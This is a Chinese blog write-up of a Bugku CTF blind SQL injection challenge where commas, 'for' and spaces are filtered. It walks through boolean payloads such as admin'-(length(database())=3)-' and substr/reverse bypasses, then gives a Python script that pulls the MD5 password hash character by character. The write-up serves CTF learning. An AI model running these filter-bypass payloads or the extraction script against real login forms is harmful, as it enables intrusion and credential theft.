bugku学习之43.sql注入2(只剩下from没过滤其余的全部过滤)
程序员文章站
2022-05-15 21:30:37
...
考察:
- 逗号被过滤:substr(from for)或者mid(from for)截断
- for被过滤:不使用for则mid(from)默认截断到字符串位
- 空格被过滤:不使用空格
- admin字符串与另一个字符串比较时会被翻译成0或者空格
所以’admin’-’‘的意思是减去空字符串,所以值为0,更深远的’admin’-0-’‘先减去0再减去空字符串,值也为0,而’admin’-1-’'的值则为1。 - 此题为post注入已经具有首尾两个单引号于是只需要在输入框输入admin’-1-‘和admin’-0-'即可。由此1和0的位置可以替换为注入查询的字符串比如:
uname=admin'-(length('a')!=1)-'&passwd=1111
#Burp: <script> alert('password aaa@qq.comaaa@qq.com');parent.location.href='index.php'; </script>
密码错误说明账号正确,a的长度就是1
uname=admin'-(length(database())!=3)-'&passwd=1111
#Burp:<script> alert('password aaa@qq.comaaa@qq.com');parent.location.href='index.php'; </script>
database()长度就是3
也可以用等于号则username error为真:
uname=admin'-(length(database())=3)-'&passwd=111
#Burp: <script> alert('username aaa@qq.comaaa@qq.com');parent.location.href='index.php'; </script>
database()长度就是3
uname=admin'-(length(passwd)=32)-'&passwd=111
#Burp: <script> alert('username aaa@qq.comaaa@qq.com');parent.location.href='index.php'; </script>
passwd密码是32位推测是MD5的32加密码
uname=admin'-(length(passwd)!=32)-'&passwd=1111
#Burp: <script> alert('password aaa@qq.comaaa@qq.com');parent.location.href='index.php'; </script>
passwd密码是32位推测是MD5的32加密码
下面推测passwd这32位分别是什么
首先想到ascii(substr(passwd,1,1))=46
又逗号被过滤:
ascii(substr(passwd from 1 for 1))=46
又for被过滤:
舍弃for则自动截断到字符串尾部比如一个字符串123
则每次截取尾部依次是3/23/123
于是截取尾部后翻转3/32/321之后再截取尾部
ascii(substr(reverse(substr(passwd from -1))from -1))=46
更详细解释:
mid((passwd)from(-1)) ->3
mid((passwd)from(-2)) ->23
mid((passwd)from(-3)) ->123
倒叙输出几位,但是这样如果要截取最后一位的话,显然每次截取的都是3,因此我们反转过来,使得每次截取出来的不一样
先倒叙取出几位
mid((passwd)from(-%d))
反转
reverse(mid((passwd)from(-%d)))
取最后一位
mid(reverse(mid((passwd)from(-%d)))from(-1))
比较ascii值
(ascii(mid(reverse(mid((passwd)from(-%d)))from(-1)))=%d)
或者
(ascii(substr(REVERSE(substr((passwd)FROM(-%d)))FROM(-1)))=%d)
测试一下发现
当表达式为真时,返回的是username error!!
当表达式为假时,返回的是password error!!
import requests
url="http://123.206.87.240:8007/web2/login.php"
flag=""
for i in range(1,33):
for j in range(32,126):
userPayload="admin'-(ascii(substr(REVERSE(substr((passwd)FROM(-%d)))FROM(-1)))=%d)-'" %(i,j)
data={
'uname':userPayload,
'passwd':111
}
r = requests.post(url=url,data=data).text
if 'username error' in r:
print(i)
flag += chr(j)
print(flag)
print("=================================>")
print("\n" + flag)
运算结果:
Note:
- md5解密网站:https://www.somd5.com/
- 脚本一直无法运行是因为最开始的url写错,应该是login.php而不是Index.php要细心根据burp上的url地址去写。
- 空格要注意,实在需要写可以改写成%20
- %23单引号,0x3e冒号,%20空格
上一篇: 碰撞反弹计算反弹线速度
下一篇: 攻防世界XCTF:supersqli